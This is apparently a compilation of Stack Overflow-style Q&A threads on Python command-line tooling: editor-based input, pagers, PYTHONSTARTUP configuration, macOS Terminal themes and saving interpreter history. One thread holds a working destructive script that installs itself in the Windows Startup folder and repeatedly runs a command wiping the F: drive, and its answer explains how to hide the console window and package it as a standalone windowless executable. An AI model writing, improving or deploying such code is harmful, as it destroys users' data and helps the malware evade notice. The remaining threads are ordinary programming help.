I am making a small python script that should prompt the user for input. I like how git commit prompts the user with a vim prompt, and then uses this prompt to get the commit message.
Is it possible to implement this behavior in python?
I cannot use input(or stdin in general)
Very simple: put initial text into a temporary file, start an editor (determined by the well-known environment variables with fallback to vi), wait the editor to finish and get the content of the temp file.
See an example at https://chase-seibert.github.io/blog/2012/10/31/python-fork-exec-vim-raw-input.html
import tempfile
import subprocess
import os
def raw_input_editor(default=None, editor=None):
''' like the built-in raw_input(), except that it uses a visual
text editor for ease of editing. Unline raw_input() it can also
take a default value. '''
with tempfile.NamedTemporaryFile(mode='r+') as tmpfile:
if default:
tmpfile.write(default)
tmpfile.flush()
subprocess.check_call([editor or get_editor(), tmpfile.name])
tmpfile.seek(0)
return tmpfile.read().strip()
def get_editor():
return (os.environ.get('VISUAL')
or os.environ.get('EDITOR')
or 'vi')
Related
I'm writing a simple CLI application using python.
I have a list of records that I want to print in the terminal and I would like to output them just like git log does. So as a partial list you can load more using the down arrow, from which you quit by typing "q" (basically like the output of less, but without opening and closing a file).
How does git log do that?
You can pipe directly to a pager like this answer should work.
Alternatively, you can use a temporary file:
import os
import tempfile
import subprocess
# File contents for testing, replace with whatever
file = '\n'.join(f"{i} abc 123"*15 for i in range(400))
# Save the file to the disk
with tempfile.NamedTemporaryFile('w+', delete=False) as f:
f.write(file)
# Run `less` on the saved file
subprocess.check_call(["less", f.name])
# Delete the temporary file now that we are done with it.
os.unlink(f.name)
Device you are looking for is called pager, there exists pipepager function inside pydoc, which is not documented in linked pydoc docs, but using interactive python console you might learn that
>>> help(pydoc.pipepager)
Help on function pipepager in module pydoc:
pipepager(text, cmd)
Page through text by feeding it to another program.
therefore it seems that you should use this as follows
import pydoc
pydoc.pipepager("your text here", "less")
with limitation that it does depends on availability of less command.
How does git log do that?
git log invokes less when the output will not fit on the terminal. You can check that by running git log (if the repo doesn't have a lot of commits you can just resize the terminal before running the command) and then checking the running processes like so ps aux | grep less
I'm trying to find out how to configure the "python interactive shell" on linux (i.e. the program executed when typing python in terminal). I'm looking forward to configure stuff such as coloring ps[12], tab completion (?), etc.
I'm aware of ipython/jupyter, bpython, etc. but I don't want fancy (unnecessary?) stuff but only some colored terminal :)
Is it possible to have a kind of config file?
There is an environment variable you can set, PYTHONSTARTUP:
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same namespace where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 and the hook sys.__interactivehook__ in this file.
To set the environment variable, go to your terminal and type:
$ export PYTHONSTARTUP=/path/to/my/python/file.py
($ is the prompt, not something you should type.)
Since that won't last beyond the current session, you probably want to put it in your .bashrc file.
In your /path/to/my/file.py you can do whatever Python stuff you want. For example, you might want to have the primary and secondary prompts to be green:
import sys
color = "\x1b[32m{}\x1b[m"
sys.ps1 = color.format(sys.ps1)
sys.ps2 = color.format(sys.ps2)
# We don't want variables to be around in our interactive sessions.
del color
del sys
You can do whatever you want in there. In mine, I set a history file that is written to atexit. That way, Up can go beyond the current session. I also added tab completion.
How exactly can I change the theme of a mac terminal using python. I have a command line program and I want to have a specific theme for the terminal (other than the basic theme) as my command-line program starts.
You can use the Python subprocess module to call an AppleScript:
#!/usr/bin/python
import subprocess
def asrun(ascript):
osasc = subprocess.Popen(['osascript', '-'],
stdin = subprocess.PIPE, stdout=subprocess.PIPE)
return osasc.communicate(ascript)[0]
def asquote(astr):
ascrpt = astr.replace('"', '" & quote & "')
return '"{}"'.format(ascrpt)
ascript = '''
tell application "Terminal"
activate
set current settings of tabs of windows to settings set "Pro"
end tell
'''
asrun(ascript)
This will change all of the windows and tabs you currently have open. If you want it do change just one and not the others, or change the window when you launch terminal that's fairly easy to do. It's just a matter of determining which window or tab you want to change and how you are calling the script in the first place. This should give you an idea though of the basic means of how it works — so I've left this example fairly minimal so you can understand the basics of it.
To change the profile, substitute "Pro" with any profile name (even custom versions you've created) that are listed in Terminal.app.
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.
Many times I will use the Python interpreter to inspect variables and step through commands before I actually write to a file. However by the end I have around 30 commands in the interpreter, and have to copy/paste them into a file to run. Is there a way I can export/write the Python interpreter history into a file?
For example
>>> a = 5
>>> b = a + 6
>>> import sys
>>> export('history', 'interactions.py')
And then I can open the interactions.py file and read:
a = 5
b = a + 6
import sys
IPython is extremely useful if you like using interactive sessions. For example for your usecase there is the save command, you just input save my_useful_session 10-20 23 to save input lines 10 to 20 and 23 to my_useful_session.py. (to help with this, every line is prefixed by its number)
Look at the videos on the documentation page to get a quick overview of the features.
::OR::
There is a way to do it. Store the file in ~/.pystartup
# Add auto-completion and a stored history file of commands to your Python
# interactive interpreter. Requires Python 2.0+, readline. Autocomplete is
# bound to the Esc key by default (you can change it - see readline docs).
#
# Store the file in ~/.pystartup, and set an environment variable to point
# to it: "export PYTHONSTARTUP=/home/user/.pystartup" in bash.
#
# Note that PYTHONSTARTUP does *not* expand "~", so you have to put in the
# full path to your home directory.
import atexit
import os
import readline
import rlcompleter
historyPath = os.path.expanduser("~/.pyhistory")
def save_history(historyPath=historyPath):
import readline
readline.write_history_file(historyPath)
if os.path.exists(historyPath):
readline.read_history_file(historyPath)
atexit.register(save_history)
del os, atexit, readline, rlcompleter, save_history, historyPath
You can also add this to get autocomplete for free:
readline.parse_and_bind('tab: complete')
Please note that this will only work on *nix systems. As readline is only available in Unix platform.
If you are using Linux/Mac and have readline library, you could add the following to a file and export it in your .bash_profile and you will have both completion and history.
# python startup file
import readline
import rlcompleter
import atexit
import os
# tab completion
readline.parse_and_bind('tab: complete')
# history file
histfile = os.path.join(os.environ['HOME'], '.pythonhistory')
try:
readline.read_history_file(histfile)
except IOError:
pass
atexit.register(readline.write_history_file, histfile)
del os, histfile, readline, rlcompleter
Export command:
export PYTHONSTARTUP=path/to/.pythonstartup
This will save your python console history at ~/.pythonhistory
Much has changed over the last 8 years since this question was asked.
It appears that since Python 3.4, history is automatically written to ~/.python_history as a plain text file.
If you want to disable that or learn more, check out
How can I disable the new history feature in Python 3.4? - Unix & Linux Stack Exchange
Readline configuration - Site-specific configuration hook — Python 3.7.2 documentation
And, of course, as noted by many others, IPython has great features for saving, searching and manipulating history. Learn more via %history?
The following is not my own work, but frankly I don't remember where I first got it... However: place the following file (on a GNU/Linux system) in your home folder (the name of the file should be .pystartup.py):
# Add auto-completion and a stored history file of commands to your Python
# interactive interpreter. Requires Python 2.0+, readline. Autocomplete is
# bound to the Esc key by default (you can change it - see readline docs).
#
# Store the file in ~/.pystartup, and set an environment variable to point
# to it, e.g. "export PYTHONSTARTUP=/max/home/itamar/.pystartup" in bash.
#
# Note that PYTHONSTARTUP does *not* expand "~", so you have to put in the
# full path to your home directory.
import atexit
import os
import readline
import rlcompleter
historyPath = os.path.expanduser("~/.pyhistory")
historyTmp = os.path.expanduser("~/.pyhisttmp.py")
endMarkerStr= "# # # histDUMP # # #"
saveMacro= "import readline; readline.write_history_file('"+historyTmp+"'); \
print '####>>>>>>>>>>'; print ''.join(filter(lambda lineP: \
not lineP.strip().endswith('"+endMarkerStr+"'), \
open('"+historyTmp+"').readlines())[-50:])+'####<<<<<<<<<<'"+endMarkerStr
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('\C-w: "'+saveMacro+'"')
def save_history(historyPath=historyPath, endMarkerStr=endMarkerStr):
import readline
readline.write_history_file(historyPath)
# Now filter out those line containing the saveMacro
lines= filter(lambda lineP, endMarkerStr=endMarkerStr:
not lineP.strip().endswith(endMarkerStr), open(historyPath).readlines())
open(historyPath, 'w+').write(''.join(lines))
if os.path.exists(historyPath):
readline.read_history_file(historyPath)
atexit.register(save_history)
del os, atexit, readline, rlcompleter, save_history, historyPath
del historyTmp, endMarkerStr, saveMacro
You will then get all the goodies that come with bash shell (up and down arrows navigating the history, ctrl-r for reverse search, etc....).
Your complete command history will be stored in a file located at: ~/.pyhistory.
I'm using this from ages and I never got a problem.
HTH!
In ipython shell:
%history
The command will print all the commands you have entered in the current python shell.
% history -g
The command will print all the commands logged in python shell upto some significant number of lines.
%history -g -f history.log
Will write the logged commands along with the line number. you can remove the fixed width line numbers for the commands of interest using gvim.
Python on Linux should have history support via readline library, see http://docs.python.org/tutorial/interactive.html
why do you want to write the code from interpreter
to python file? you use interpreters to test your code, and so you can write same code in your program. Or you can create you own interpreter that can save commands in a file.
#shell.py
import code, sys
class Shell(code.InteractiveConsole):
def write(self, s):
open("history.cmd", "a").write(f"{s}\n")
sys.stderr.write(f"{s}")
def raw_input(self, prompt):
a = input(prompt)
open("history.cmd", "a").write(f"{prompt}{a}\n")
return a
if __name__ == "__main__": # run the program only if runned
shell = Shell(filename="<stdin>") #you can use your own filename
shell.interact()
You can inherit this class in your own class and create your own interpreter!